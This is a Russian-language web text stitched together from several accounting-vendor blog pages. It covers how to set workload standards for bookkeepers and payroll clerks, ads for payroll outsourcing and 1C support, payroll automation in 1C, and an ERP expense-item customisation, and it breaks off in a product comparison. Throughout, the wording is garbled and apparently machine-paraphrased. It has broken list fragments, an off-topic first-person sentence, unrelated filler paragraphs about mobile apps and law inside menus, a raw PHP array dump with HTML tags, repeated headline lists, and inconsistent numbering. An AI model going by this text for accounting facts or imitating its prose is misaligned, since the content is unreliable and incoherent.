Вы знакомы с ситуацией, когда в одной компании один сотрудник усердно трудится, а другой просто бездельничает или делает свои личные дела, не связанные с его обязанностями? Чтобы избежать нерационального перегружения или, наоборот, недостаточного занятости сотрудников, необходимо провести анализ деятельности всего подразделения.

В этой статье мы расскажем о том, как достичь эффективности работы бухгалтерской службы путем внедрения системы нормирования труда.

Как определить реальную загрузку и объем работы бухгалтеров

Часто сотрудники, занимающиеся бухгалтерией, жалуются на то, что не справляются с большим объемом работы, им приходится работать в выходные дни и задерживаться после окончания рабочего дня. Если у руководителя или главного бухгалтера возникают жалобы со стороны специалистов или подозрения о неэффективности работы бухгалтерского отдела, необходимо более подробно разобраться в данной ситуации.

если объем работы действительно значительный (в таком случае понадобится расширение штата сотрудников);
Работники не успевают выполнить свои обязанности с необходимой скоростью и квалификацией (потребуется отправить их на обучение).
Иногда бухгалтеры тратят много времени на ручной ввод каждого документа в программы учета (в таком случае требуется автоматизация бухгалтерских процессов).
Иногда причиной неэффективной деятельности отдела является отсутствие у бухгалтера желания оперативно и качественно выполнять свои обязанности (требует принятия мер дисциплинарного воздействия).

Существует несколько типов нормирования, которые используются для оценки загруженности сотрудников бухгалтерии.

Способы нормирования бухгалтерской работы

Бенчмаркинг

Определение нормативов для расчета заработной платы бухгалтерами в компаниях осуществляется путем анализа информации о самых успешных предприятиях в отрасли. При изучении и сравнении их деятельности в контексте заинтересованного вопроса, в данном случае, расчета заработной платы, формируется общепринятый стандарт, который принимается во внимание всеми компаниями. Однако такой подход нельзя назвать эффективным в бухгалтерии, поскольку у каждой фирмы свои особенности и размеры, которые не позволяют применять универсальный стандарт. Вместо этого он больше подходит для оценки торговой и маркетинговой деятельности.

с помощью камеры

В данном случае происходит сбор информации в течение рабочего дня, после чего рассчитывается продолжительность каждой операции, выполняемой работником. Этот подход особенно подходит для производственных процессов. Однако он не учитывает факт того, что работа бухгалтера по расчету заработной платы может быть неравномерной и иногда даже иметь авральный характер.

Подробнее

Подобно приёму микроэлементарного регулирования

Наиболее точный, но и самый трудоемкий способ заключается в разделении всего процесса деятельности бухгалтера-расчетчика на отдельные функции. Затем производится измерение временных промежутков, затраченных на выполнение каждой из этих функций. В прошлые годы этот метод был широко распространен и на предприятиях даже существовал отдельный коллектив нормировщиков.

Нормализация на основе факторов

Наиболее востребованный метод, который позволяет вычислить и определить количество времени, затрачиваемое работником на достижение конкретных результатов при выполнении определенных задач (например, определение стандартов для расчетчика заработной платы).

Подробнее о факторном нормировании в бухучете

В бухгалтерском учете факторное нормирование охватывает следующие аспекты:

Количество участников — работников отдела бухгалтерии;
количество данных, требующих обработки.
основой для ведения бухгалтерского учета служат правовые документы, включая законодательство Российской Федерации и местные нормативные акты организации
Знание работы в бухгалтерии, профессиональные навыки и опыт выполнения финансовых задач в рамках определенной организации;
финальный итог финансовых операций

Оценка влияния различных факторов на конечный результат работы, осуществляемой группой бухгалтеров, является основой для регулирования бухгалтерского труда.

Для осуществления процесса стандартизации необходимо выполнить определенные мероприятия.

Разделить все работы, связанные с бухгалтерией, на последующие сегменты:
- касса;
- банк;
- подсчеты сотрудников, ответственных за учет средств
- производство товаров,осуществление производства,выпуск продукции,производственная деятельность,производственный процесс.
- отчётность предприятия;
- Фокусировка на финансовых вложениях;
- Учет операционных систем и прикладного программного обеспечения (ПО) является неотъемлемой частью процесса планирования и внедрения информационных систем.
- финансирование в форме кредитов и займов;
- запасы товаров и материалов;
- отчетность по уплате налогов;
- Выплата заработной платы персоналу.
Для определения затрат труда на каждый отдел необходимо учесть навыки и компетенции бухгалтеров, а также количество сотрудников, занятых в бухгалтерии предприятия.
Определение факторов, оказывающих воздействие на уровень затрат труда.
Определить стандартное время, необходимое для выполнения задачи.
Проанализировать данные, что позволит изменить количество сотрудников в отделе бухгалтерии, перераспределить задачи между специалистами и оптимизировать бухгалтерские процессы.

Давайте мы рассмотрим шаги для определения стандарта времени, который необходим бухгалтеру при расчете заработной платы.

Процесс нормирования труда бухгалтера — расчетчика

Определение стоимости работы сотрудников является сложной и ответственной задачей. В компаниях большого масштаба для этого назначается отдельный сотрудник. Давайте изучим, каким должно быть рабочее время этого специалиста и какие стандарты следует применять для расчетчика заработной платы.

При определении расчета учитываются количество работников и объем задач, связанных с бухгалтерией, в частности, заработной платой.

Выплата заработной платы, отпускных, больничных, надбавок, вознаграждений и других компенсаций.
определение и сбор налогов;
другие вычисления;
Создание документов о платежах для передачи в финансовое учреждение.

Элементы, которые оказывают воздействие на силу трудозатрат бухгалтера в рамках оплаты труда.

определенное количество начислений и вычетов;
осуществление финансовых расчетов между сторонами;
Количество аккаунтов персонала и пейссипов для заработной платы.

Для установления требований существуют специально разработанные нормы. Например, норматив рабочего времени для бухгалтера-расчетчика в государственном учреждении определяется на основе документа «Стандартные нормы времени на выполнение работ по бухгалтерскому учету» (Министерство труда России, 07.03.2014 г., № 003). В этом документе указаны конкретные временные рамки, выделенные на выполнение операций расчетчиком.

Разновидности труда

системы и их выполняющиеся действия в компьютере

Единица измерения.

Временной стандарт (измеряемый в минутах)

Важно!

Определение стандартов рабочего времени бухгалтера в области заработной платы является сложной задачей, поскольку оно зависит от объема как основных, так и неожиданных расчетов, которые могут возникнуть в любой момент. Именно поэтому все больше компаний предоставляют эти функции для внешнего выполнения.

Обычно при расчете заработной платы для сотрудников предприятия принимается во внимание количество работников (количество расчетных листков) за один месяц на каждого бухгалтера-расчетчика. Среднее значение составляет 500 сотрудников на одного расчетчика. Так, если в компании есть 1000 сотрудников, потребуется нанять двух специалистов для начисления заработной платы.

Как аутсорсинг решает проблемы нормирования

К сожалению, нормирование не в состоянии решить все имеющиеся проблемы. Например, на эффективность работы бухгалтерии оказывают влияние:

Развитие и повышение квалификации специалистов является неотъемлемой частью их профессионального роста, необходимым условием успешной работы и достижения высокого уровня знаний.
гармоничность коллектива
Успех компании напрямую зависит от внутренней мотивации и энтузиазма ее персонала, которые желательно формировать на протяжении длительного времени и вкладывать в них немалые финансовые ресурсы.

Кроме этого, необходимо регулярно обновлять программное обеспечение и совершенствовать технические процессы бухгалтерии. Однако не так многие могут позволить себе это. Иногда более выгодно (включая аспекты финансовые) передать часть бухгалтерской работы специализированной бухгалтерской компании.

Наши клиенты не только делегируют нам определенные неспециализированные задачи, но и получают качественное и эффективное бухгалтерское обслуживание, которое учитывает их бизнес-цели, объемы работы и риски. Наши клиенты не беспокоятся о следующем:

касающихся правил и норм, внесли значительные поправки в закон.
которые налоговая служба может применить
Промахи, возникающие при подсчете заработной платы.

Специалисты компании 1C-WiseAdvice следят за изменениями в законодательстве и обеспечивают актуальность информации во время расчетов. Эксперты 1C-WiseAdvice используют специально разработанные списки контроля, чтобы гарантировать своевременное начисление и перечисление не только заработной платы, но и других налогов и платежей. Это означает, что у вас не будет проблем ни с государственными органами, ни с работниками.

Обратиться к профессионалу

ТемыЗаинтересованы в получении рекомендаций от экспертов в области налогов и крупнейших специалистов в бухгалтерии?

Будьте в курсе новостей блога, подписывайтесь на его обновления!

Советы по организации эффективной службы расчета заработной платы

Одна из наиболее ответственных задач в области бухгалтерии — это расчет заработной платы. Довольно часто многие главные бухгалтеры сталкиваются с проблемой неэффективности этого процесса и понимают необходимость его улучшения. Мы выявили несколько аспектов, на которые следует обратить внимание при организации или переорганизации отдела по расчету заработной платы.

Стоимость

Обеспечение кадрами

Обеспечение техническими средствами

Административное обеспечение — это комплекс мер и действий, направленных на организацию и сопровождение работы административной системы. Оно включает в себя различные аспекты, такие как организация рабочих процессов, управление ресурсами, контроль и координацию деятельности персонала. Эффективное административное обеспечение является важной составляющей успешного функционирования организации или учреждения. Оно позволяет снизить риски и проблемы, связанные с неэффективностью и нерациональным использованием ресурсов, а также способствует повышению производительности и качества работы. Важную роль в административном обеспечении играют соответствующие знания и навыки управленческого персонала, а также использование современных информационных технологий. Стратегическое планирование, организация рабочих процессов, контроль и анализ результатов — все это является неотъемлемой частью административного обеспечения и важными инструментами для достижения поставленных целей и задач. Ориентация на устойчивость, эффективность и инновации в административном обеспечении позволяет организациям быть конкурентоспособными и успешно развиваться в современной динамичной среде.

Контроль

Аутсорсинг — это процесс передачи расчета зарплаты на стороннего исполнителя.

Директор, ответственный за предоставление услуг в области расчета заработной платы и управления кадровыми процессами.

UCMS Group — это электронный информационный портал, который предлагает свежие новости и статьи по различным темам.
Аутсорсинг
Коронавирус
Бухучет
Кадры
Зарплата
Вебинары
Предпринимательство
взаимоотношений между гражданами и правительством являются сложной и многогранной проблемой в современном обществе. Правовая система страны играет важную роль в обеспечении защиты прав и свобод граждан, а также в установлении порядка и справедливости в обществе. Юридические аспекты этих отношений включают в себя организацию правительства, выработку и принятие законов, предоставление гражданам правовой помощи и регулирование споров между гражданами и правительством. Защита прав граждан и обеспечение их справедливости — это основополагающие принципы правовой системы, которые направлены на создание справедливого и равноправного общества, где каждый гражданин имеет права и свободы, защищенные законом.
Исследования
Топ-менеджмент
Опрос
Аутстаффинг
Безопасность и здоровье на рабочем месте
Безопасность от возгораний
Мобильные приложения играют важную роль в современном мире. Они стали незаменимым инструментом для многих людей, предоставляя им доступ к разнообразным сервисам и функциям на своих смартфонах. С течением времени количество мобильных приложений только увеличивается, поэтому разработчики постоянно стараются создавать новые и инновационные приложения, чтобы привлечь внимание пользователей. Возможности мобильных приложений постоянно расширяются, и они становятся все более полезными и удобными в повседневной жизни. Благодаря мобильным приложениям мы можем делать покупки, бронировать билеты, общаться с друзьями, управлять финансами и многое другое. Они помогают нам экономить время и силы, предоставляя доступ к нужной информации и возможности выполнять различные задачи прямо с нашего мобильного устройства. Не удивительно, что мобильные приложения стали неотъемлемой частью нашей жизни и будут продолжать развиваться и преображаться в будущем.
Индивидуальные предприниматели могут погасить страховые сборы
Праздники
Новый, оригинальный взгляд
Наступила долгожданная пятница, и сегодня мы представляем вам новую рубрику!
Дневник в видеоформате бухгалтера, отправленного в командировку.
Важные происшествия в сфере промышленности

Будьте в курсе последних изменений в законодательстве!

Наши специалисты помогут вам быть в курсе последних событий, не отказывайтесь от их помощи!

Каким образом следует оформить документ от родителя с рабочего места, свидетельствующий о его неполучении пособия по уходу за ребенком?
Получение полной информации о графике работы
в предотвращении возможных проблем на рабочем месте. Давайте более детально рассмотрим эту непростую задачу.
В данной статье представлен расчет алиментов, а также приведены наглядные примеры проводок, иллюстрирующие данный процесс.
Как осуществить оплату дней командировки, которые пришлись на выходные или нерабочие праздничные дни?
Что нас ожидает в следующем году, когда будет представлена новая система оценки рабочих условий?
Постепенное руководство по передаче процессов на аутсорсинг.
О чем разговаривают HR-специалисты? Краткая лексика сленга отдела персонала.
Вместо традиционного годового отпуска, существует возможность получить финансовую компенсацию.
Как определить среднюю заработную плату сотрудника при расчете отпускных?

Добро пожаловать, уважаемые читатели блога, в мир «Записей заботливого бухгалтера»!
С 2014 года произошли существенные изменения в сфере бухгалтерского и налогового учета.
Каким образом следует оформить документ от родителя с рабочего места, свидетельствующий о его неполучении пособия по уходу за ребенком?
Существует план по обновлению формы РСВ-1.
Инструкция по корректному заполнению справок налоговой декларации 2-НДФЛ за 2012 год.
Получение полной информации о графике работы
Важное значение имеет воинский учет в организации, начиная его ведение с самых первых шагов.
Это касается каждого человека. Что произойдет, если до 2014 года вы не уделите должное внимание своему финансовому обеспечению на пенсии?
в предотвращении возможных проблем на рабочем месте. Давайте более детально рассмотрим эту непростую задачу.
Информация о документе 182н в полном объеме

Мы готовы упростить ведение кадрового делопроизводства и выплату заработной платы для Вас.

Более подробную информацию можно найти на официальном веб-сайте компании UCMS Group — www.ucmsgroup.ru.

Введение новых правил в документе ЕФС-1 с начала 2025 года.
В 2025 году КБК ожидаются значительные изменения.
С начала 2025 года вступили в действие свежие коды, относящиеся к Едино́му Нумерацио́нному Показа́телю (ЕНП).
В 2025 году будут введены изменения в сроки уплаты налога на доходы физических лиц (НДФЛ).
Начиная с 1 января 2025 года, все компании должны использовать обновленные коды при уплате налога на доходы физических лиц.

Добро пожаловать, уважаемые читатели блога, в мир «Записей заботливого бухгалтера»!
С 2014 года произошли существенные изменения в сфере бухгалтерского и налогового учета.
Каким образом следует оформить документ от родителя с рабочего места, свидетельствующий о его неполучении пособия по уходу за ребенком?
Существует план по обновлению формы РСВ-1.
Инструкция по корректному заполнению справок налоговой декларации 2-НДФЛ за 2012 год.

Поговорим о блоге.

Мы, собравшееся сообщество экспертов в области бухгалтерского учета, расчета заработной платы и кадрового администрирования, рады представить вам наш блог «Заметки доброго бухгалтера». Наша главная цель заключается в том, чтобы поделиться с вами нашей страстью и опытом, а также облегчить вашу работу и способствовать вашему профессиональному успеху! Если вы желаете внести свой вклад в наше сообщество, то присоединяйтесь к нам!

Автоматизация расчета заработной платы в программе 1С

Для достижения максимальной прибыли от своего бизнеса необходимо настроить и автоматизировать все внутренние процессы, которые влияют на итоговые результаты. Один из основных аспектов, на который следует обратить внимание, — это расчет и выплата заработной платы сотрудникам. Здесь недопустимы какие-либо ошибки или задержки, поскольку любые негативные действия могут повлиять на всю компанию в целом. Среди очевидных проблем, которые следует выделить:

недовольство работников;предполагаемые сокращения персонала, потеря ключевых, опытных работников;Проблемы, связанные с законодательными нормами, финансовыми санкциями и нежелательным привлечением налоговых органов.Участвовать в действиях или принимать решения, которые могут повлиять на мою репутацию и вызвать негативную реакцию окружающих людей.

Очень сложно оценить и измерить все возможные убытки, которые может понести предприятие, но можно быть уверенным в том, что они обязательно будут.

Для упрощения настройки этих процессов можно использовать программу 1С:Комплексная автоматизация компании, которая доступна в программе 1С:Предприятие. Это программное обеспечение уже давно стало стандартом для учета и начисления зарплаты в организациях России и ближнего зарубежья. Система соответствует всем актуальным законодательным требованиям, легко настраивается под конкретные задачи и пожелания заказчика. Она постоянно обновляется и совершенствуется, чтобы расширить свои возможности и упростить работу с программой.

При использовании системы 1С для автоматизации расчёта заработной платы, компания сможет оптимально распорядиться своими внутренними ресурсами, получая при этом максимальную выгоду при минимальных затратах.

Комплексная автоматизация и решение внутренних задач предприятия

1С — это мощное решение для автоматизации бизнес-процессов, которое предлагает предприятиям широкий спектр возможностей для оптимизации и настройки своей деятельности. Кроме того, данная программа позволяет вам наглядно отслеживать любые изменения, как положительные, так и отрицательные, которые происходят в вашем бизнесе.

Автоматизация бухгалтерии и налогового учета представляет собой уникальную систему, основанный на профессиональном инструментарии. Эта система позволяет одновременно вести учет нескольких компаний, входящих в один холдинг, с возможностью формирования отчетности для каждой компании отдельно. Пользователи имеют доступ к различным интерфейсам, которые позволяют им получать необходимую информацию.

Все действия автоматически регистрируются в отчетах. Нет необходимости повторно вводить данные. Программа сохраняет документы и проверяет их система. Например, при отгрузке груза программа проверит состояние взаиморасчетов с получателем.

Автоматизация расчёта начислений

Система оплаты труда предлагает удобный способ расчета заработной платы, премий за достижение поставленных задач и других бонусов. Каждая настройка осуществляется индивидуально, учитывая условия расчета заработка: возможна фиксированная оплата или применение сложной формулы с учетом показателей эффективности каждого сотрудника.

Для определения размера заработной платы возможно учитывать дополнительные выплаты, бонусы, базовую ставку, а также возможные снятия денежных средств.

Реализация полной автоматизации учета всех обязательных выплат сотрудникам компании с указанием периодичности, целей, классификации и способа оплаты, а также страховых взносов.

Контроль и анализ фонда оплаты труда

Включение в рамках финансово-экономической документации данных о выплатах заработной платы отдельным сотрудникам, анализируя эту информацию с учетом их должности и принадлежности к определенному отделу.

Учет досье с записями о всех финансовых вознаграждениях персонала, история модификации расчета заработной платы, призов и дополнительных надбавок.

Внедрение автоматизированной системы учета излишков средств, анализ фактических и прогнозных показателей, создание документов по оптимизации расходов фонда.

Расчёт налоговых взносов

Используя программное обеспечение 1С:ЗУП, можно настроить автоматический подсчет налога на доходы физических лиц и страховых взносов для каждого сотрудника, учитывая его положение или статус.

Предоставляется возможность ручной корректировки данных, сгенерированных автоматически.

После того, как бухгалтерия совершит необходимые действия и предоставит соответствующие документы, информация о переводе НДФЛ будет автоматически передана в налоговую службу.

Управление выплатами заработной платы

Система автоматизированной обработки и представления информации о финансовых операциях, расчете заработной платы персонала.

Программа 1С выполнит подготовку расчетных листков, учитывая оплату отпусков, больничных и других доплат для выплаты заработной платы.

Оплата сотрудников через банк или кассу, с учетом отработанных часов и взаимных расчетов.

Отчётность

Осуществление настроек для автоматического создания отчетов для Пенсионного Фонда России, Инспекции Федеральной налоговой службы и Фонда социального страхования в печатном или электронном виде в соответствии с законодательством Российской Федерации.

Программа позволяет автоматически отправлять необходимую отчетность в Росстат, ФНС, ФСС и ПФР, обеспечивая точность и надежность передачи данных.

Упорядоченное отображение всех выплат

Создание единого отчёта из двух приложений предоставляет возможность избежать дублирования ввода данных, что позволяет сэкономить время. Также это позволяет сократить время, затрачиваемое на проведение расчётов, и уменьшить количество опечаток, связанных с ручным переносом информации.

Разработка данных о заработной плате сотрудников и учет налоговых и страховых взносов в бухгалтерии и налоговом учете.

Что даёт автоматизация расчёта заработной платы персоналу

Когда речь заходит о внедрении в процессы предприятия такой всеобъемлющей программы, как 1С, следует подчеркнуть, насколько она значительно упрощает деятельность финансового и кадрового отделов. При выборе данного решения вы эффективно распоряжаетесь временем сотрудников, что, в свою очередь, приводит к экономии ваших средств.

Автоматический расчёт трудозатрат и зарплаты для сотрудников

Результаты исследований свидетельствуют о существенном снижении количества ошибок, допускаемых сотрудниками. Особенно заметно это в таких критически важных сферах, как подсчет и проведение операций по налоговым и страховым платежам.

Эффективная обработка информации и своевременная выплата заработной платы сотрудникам без непредвиденных задержек.

Предоставление документов о персонале и учётных записях в контролирующие органы без промедления и точным соблюдением установленных правил.

Автоматизация процессов, исключение ручных операций, избавление от необходимости вводить данные дважды, устранение необходимости вручную корректировать отчёты и постоянная автоматическая проверка позволяют существенно снизить нагрузку на бухгалтерию.

Упрощение процессов контроля зарплаты

Способность принимать эффективные меры в области кадрового делопроизводства, опираясь на информацию, полученную из соответствующей программы.Эффективная настройка системы позволяет осуществлять контроль над ясностью и точностью процесса расчета и выплаты заработной платы.

Система предлагает удобный набор автоматизированных инструментов, которые обеспечивают руководителям возможность контроля, начисления и анализа всех этапов рабочего процесса.

Компания с легкостью экономит благодаря автоматическому учету, контролю всех начислений и перерасходов, а также сокращению количества наложенных штрафов.

Как осуществляется кадровый учёт начисления оплаты работы сотрудников в 1С

Преимущества расчета и начисления заработной платы в программе 1С были рассмотрены. Теперь мы подробно изучим принципы функционирования данной программы.

Предварительные меры должны быть приняты перед начислением заработной платы сотруднику. Необходимо составить кадровые документы и определить периодические и непериодические выплаты.

Для осуществления оплаты заработной платы требуется разработать специализированный документ, учитывающий указанные параметры и используемый для начисления денежных средств.

Следующие данные должны быть отражены в документе:

дата осуществления выплаты заработной платы;метод оплаты;страховые взносы, которые являются обязательными;налоговые платежи

В рамках данной программы есть возможность не только производить начисление заработной платы сотрудникам. Полный автоматизированный комплекс предприятия также включает в себя подготовку и создание соответствующих документов.

Вы имеете возможность сформировать документ по нужным датам и выбрать удобный для вас способ оплаты. Наша система автоматически создаст требуемый документ, который будет заполнен в соответствии с указанными вами параметрами. В таблице, которая будет составлена, вы найдете все данные о работнике.

Для осуществления перевода денежных средств через систему требуется предварительно внести в нее данные о решениях по персоналу, информацию о доплатах и вычетах. После этого создается документ «Выплата заработной платы сотрудникам». Завершающим этапом будет составление списка, в котором будет указана вся информация о сотрудниках: их зарплата, надбавки, налоговое положение.

Сразу видно, что эта программа не так проста, как может показаться. В ней содержится такое множество нюансов, разобраться в которых самостоятельно является чрезвычайно сложным заданием. От того, насколько точно были введены данные, зависит эффективность работы всей организации.

Узнать все нюансы использования данной программы и освоить навыки ее управления возможно только после прохождения обучения у экспертов нашей фирмы. Квалифицированный консультант поможет разрешить любые проблемы, возникающие при работе с этой системой.

Оцените преимущества работы с нашей компанией

Наша компания, известная как «Что Делать 1С», специализируется в области сопровождения и поддержки программы 1С:Предприятие. Наш коллектив опытных специалистов готов помочь вам в установке и настройке Системы, чтобы она соответствовала потребностям вашего предприятия. Если требуется, мы также можем расширить функционал программы и обучить ваших сотрудников ее использованию.

У нас есть пять вариантов тарифов для сопровождения 1С, доступных нашим клиентам. Мы предлагаем расширенное предложение, которое включает постоянную консультацию от нашего консультанта, проведение вебинаров для сотрудников. Кроме того, есть стандартный тариф, включающий несколько консультаций и помощь с обновлением.

При выборе нашей компании, вы гарантированно получаете:

Автоматизация заполнения статей затрат по зарплате

При выплате авансов бухгалтер не знает, на какие статьи затрат будет распределена заработная плата сотрудников. Информация о статьях затрат по зарплате становится известной при создании документа начисления «Запись заработной платы в финансовом учете», который составляется в начале месяца перед закрытием предыдущего месяца. Таким образом, необходимо изменить статьи затрат в документах оплаты авансов «Безналичное дебетование». Также требуется изменить существующую статью «Базовая зарплата» в справочнике затрат «Статья расходов» в документах оплаты в системе 1С:ERP «Безналичное дебетование» на статьи, указанные в документах начисления заработной платы «Запись заработной платы в финансовом учете». Проблема заключается в том, что в таблицах оплаты, которые импортируются в 1С 8 ERP из 1С:ЗУП, не предусмотрена аналитика «Способ отражения», которая присутствует в документах по начислению заработной платы. Статьи затрат по заработной плате в начислениях указываются через справочник «способ отражения заработной платы».В 1С 8 ERP существует возможность отражения зарплаты через разные методы. Каждому из этих методов может быть привязана соответствующая статья расходов «Expense item».В 1С 8 ERP представлен рисунок 2, который демонстрирует способ отражения затрат на заработную плату.

2. Реализация в рамках программного продукта 1С:ERP

Для сохранения текущих бизнес-процессов и минимизации изменений было найдено решение в использовании конфигурации 1С:ERP. Это позволяло ограничиться только изменением способа заполнения табличной части документа «Non-cash debiting». Пересчет будет производиться при нажатии кнопки в документе списания в 1С:ERP 8. Эта кнопка будет видна только в случае, если в документе «Non-cash debiting» будут указаны выплаты заработной платы в ведомости «Bank pay sheet».В документе списания в системе 1С:ERP, находящемся под номером 3, есть кнопка с изображением. При нажатии на данную кнопку, оператору предоставляется возможность выбрать специфический документ с названием «Запись зарплаты в финансовом учете».Согласно информации, представленной в документе «Bank pay sheet», в котором содержится информация о выплате заработной платы, выбранной оператором записи заработной платы в финансовом учете, осуществляется определение способа отражения и соответствующей статьи расходов. В случае если в документе имеется информация о нескольких сотрудниках, суммы группируются по статьям затрат на заработную плату. Если в документе записи заработной платы у одного сотрудника указаны несколько способов отражения, то для каждого способа вычисляется доля. Затем сумма документа «Bank pay sheet» разделяется по способам отражения и выражается в статьях затрат. Также суммы в документе «Non-cash debiting» также группируются по статьям затрат, используя информацию из справочника «Expense item» в 1С 8 ERP. Если документ списания выполнен с операциями «Выплата зарплаты по зарплатному проекту» или «Выплата зарплаты на лицевые счета», то суммы и сотрудники берутся из колонки «К выплате» в документе «Bank pay sheet», а статьи расходов из графы «Начисления» в справочнике «Способ отражения зарплаты».График начисления заработной платы в программе 1С 8 ERP, представленный на изображении 5Если документ списания выполнен с операцией «Перечисление налогов и взносов» в Способе отражения зарплаты в 1С 8 ERP, то суммы и люди будут взяты из колонки «НДФЛ к перечислению», а статьи расходов будут взяты из графы «Взносы».В 1С 8 ERP имеется рисунок 7, который изображает документ списания с операцией перечисления налогов и взносов.Воспользовавшись методом отражения зарплаты в программе 1С 8 ERP, мы можем использовать рисунок 8 графа взносы. Таким образом, суммы соответствуют журналу выплат ЗП «Bank pay sheet», а аналитика статьи затрат берется из документа начисления «Recording of salary in financial accounting». Эта схема позволяет нам обрабатывать документы аванса таким же образом, сохраняя при этом общий бизнес-процесс по начислению и выплате ЗП с минимальными изменениями в программе 1С:ERP 2.4. Мы рекомендуем обратиться за помощью к специалисту компании «Кодерлайн», Валерию Есипову.

Возможно, вас заинтересуют эти материалы:

94 [PROP_CODE] => TAGS2 => Вас могут заинтересовать следующие семинары: ) —> 95 [PROP_CODE] => TAGS <title> => Вас могут заинтересовать следующие вебинары: ) —> Как сделать в 1С [1] => 1С: Конвертация данных [2] => Конвертация данных [3] => Обмен между базами [4] => Закрытие месяца [5] => Оценка задач [6] => Отчеты в 1С [7] => Моделирование [8] => HTTP [9] => Управление проектами [10] => БУ [11] => com-объекты [12] => 1С: WMS Управление складом [13] => РСБУ [14] => 1С: Сценарное тестирование [15] => Запросы 1С [16] => LINUX [17] => WEB [18] => Оптимизация [19] => 1С:Зарплата и Управление Персоналом [20] => Excel [21] => 1С: ERP [22] => ADO [23] => 1С:Управление производственным предприятием [24] => Внедрение [25] => Продажи [26] => Отчетность [27] => 1С: Розница [28] => 1С: CRM [29] => 1С:Бухгалтерия [30] => 1С:Комплексная автоматизация [31] => Производство [32] => Интеграция 1С [33] => Налоги [34] => Отпуск [35] => MS SQL Server [36] => Расширение конфигурации [37] => МСФО [38] => СКД [39] => Word [40] => WEB-сервисы 1С [41] => Внедрение ERP [42] => Перенос данных [43] => Торговое оборудование [44] => Лизинг [45] => 1С:Управление нашей фирмой [46] => Администрирование 1С [47] => 1С: Колледж [48] => Правила обмена [49] => 1С: Платформа ) —></p> <h1>Топ 3 способа вести учет зарплаты без головной боли</h1> <h2>Топ 3 способа вести учет зарплаты без головной боли</h2> <p>Для эффективного учета заработной платы сотрудников необходимо выбрать подходящую программу 1С, которая удовлетворит потребности каждой компании или предпринимателя. Рассмотрим различные варианты программ 1С и их пригодность для конкретных видов бизнеса.</p> <h2> Почему нужна программа </h2> <p>Расчет вознаграждения сотрудников — непременный этап работы каждого предприятия, имеющего наемную рабочую силу. Как только бизнесмен сталкивается с этой задачей на практике, он сразу осознает, что без автоматизации здесь не обойтись. И вот почему:</p> <ul> <li>Расчет заработной платы не всегда ограничивается только окладом. Он может включать премии, бонусы, а также выплаты за командировки, отпуска и больничные. В некоторых регионах могут действовать дополнительные надбавки и коэффициенты. Кроме того, необходимо учесть налог на доходы физических лиц (НДФЛ) и страховые взносы. Программы для учета заработной платы позволяют автоматизировать все эти процессы, что поможет сэкономить время и упростить работу бухгалтера.</li> <li>Автоматизация средством предотвращения ошибок, возникающих при ручном вычислении. Неисправный расчет приводит к массовому недовольству сотрудников, задержке выплаты заработной платы и ущербу репутации компании. Поэтому необходимо, чтобы расчет заработной платы был наиболее точным, но допускал возможность вручную вносить корректировки.</li> <li>В расчетной программе заработной платы часто присутствуют дополнительные полезные возможности, такие как учет рабочего времени, формирование документов о приеме, увольнении и перемещении сотрудников.</li> </ul> <p>1С — программное решение, широко популярное среди компаний разного масштаба, от маленьких магазинчиков до крупных холдингов. Это неудивительно, ведь продукты 1С могут быть использованы практически в любой сфере деятельности предприятия. Рассмотрим некоторые программы, которые помогут автоматизировать процесс учета заработной платы.</p> <h2> В какой 1С можно вести учет заработной платы </h2> <h3>Решение первое. 1С:Бухгалтерия</h3> <p>Программа 1С:Бухгалтерия является одной из самых популярных и широко используемых систем, предназначенной прежде всего для проведения бухгалтерского и налогового учета. Она также включает возможность подготовки необходимых отчетов, которые должны быть представлены в компетентные органы для контроля.</p> <p>Однако, данная программа обладает функционалом, который позволяет удобно рассчитывать заработную плату и вести минимальную кадровую документацию. Если компания является небольшой и имеет менее 60 сотрудников, то 1С:Бухгалтерия будет полностью удовлетворять потребности в учете заработной платы.</p> <p>Основные возможности, предоставляемые данной программой:</p> <ul> <li>осуществление выплат заработной платы, включая предоставление авансовых платежей;</li> <li>преобразование зарезервированного заработка в налоговый доход компании;</li> <li>создание платежных ведомостей для составления отчетности о выплате и удержании заработной платы;</li> <li>расчет доплат и местных поправок;</li> <li>определение заработной платы для отдельных структурных подразделений;</li> <li>подсчет запасов для вознаграждения работников;</li> <li>регистрация начислений и вычетов из заработной платы;</li> <li>Расчет отпусков и компенсаций болезни.</li> </ul> <h2>Специальный подарок для читателей «Клерк.ру»</h2> <p>Теперь вы можете получить дополнительные 3 часа бесплатного аудита по системе 1С.</p> <h2>Экономьте время и ресурсы компании еще до начала работ по 1С</h2> <p>Заполните анкету, мы отправим уникальный код акции на вашу электронную почту.</p> <h3>Первый вариант. Уникальная система 1С:ERP.</h3> <p>Эту конфигурацию в основном используют для учета производственных операций. Однако блок управления персоналом позволяет автоматизировать все процессы учета выплат, включая даже нестандартные случаи.</p> <ul> <li>Корпорация применяет сложную систему расчета заработной платы, включающую разнообразные бонусы.</li> <li>Расчет заработной платы осуществляется с учетом качества выпускаемой продукции.</li> <li>Необходимо производить расчеты по частичному возмещению времени без работы сотрудников и других подобных случаев.</li> </ul> <p>Когда происходит расчет заработной платы в системе 1С:ERP, учитываются следующие информационные характеристики:</p> <ul> <li>оплата за выполненную работу в соответствии с предварительно установленным расписанием;</li> <li>доплаты и множители</li> <li>Изменения в расчетах для начислений.</li> <li>выплаты, основанные на договорах, регулируемых гражданским правом;</li> <li>вознаграждения и поощрительные выплаты;</li> <li>Возможно, полезно согласовывать сведения, содержащиеся в документах, предназначенных для внесения изменений, таких как медицинские справки.</li> <li>Одной из форм удержания из заработка является удержание суммы налога на доходы физических лиц (НДФЛ) по исполнительным листам.</li> </ul> <p>В программе 1С:ERP имеется возможность автоматизации выплат путем перевода платежей на основе предварительно расчетной зарплаты. В программе можно настроить выплаты как на банковские карты, так и наличными средствами. Авансы могут быть перечислены в одну и ту же дату для всей компании, либо можно настроить отдельные даты для различных отделов и сотрудников. Также доступна функция депонирования зарплаты и расчета компенсации в случае задержки выплат.</p> <p>Если вы задумываетесь о автоматизации бизнес-процессов в вашей организации при помощи программных продуктов от 1С, обновлении до новой версии или настройке интеграции с другими системами учета, то наши специалисты из компании BRG будут рады помочь вам. Мы предоставим поддержку в настройке учета, обучении пользователей и внесении доработок в продукт, с учетом ваших пожеланий. Не стесняйтесь обращаться!</p> <p>«BUSINESS RELATIONSHIP GROUP — CONSULTING» является официальным партнером компании 1С с 1999 года. За это время она успешно осуществляла значительные корпоративные проекты, связанные с внедрением автоматизированных систем управления и учета на основе платформы 1С:Предприятие, для предприятий различных сфер деятельности.</p> <p>Каким образом сотрудничество с нами может быть выгодным для вас?</p> <ul> <li>Уровень организации бизнес-процессов в компании 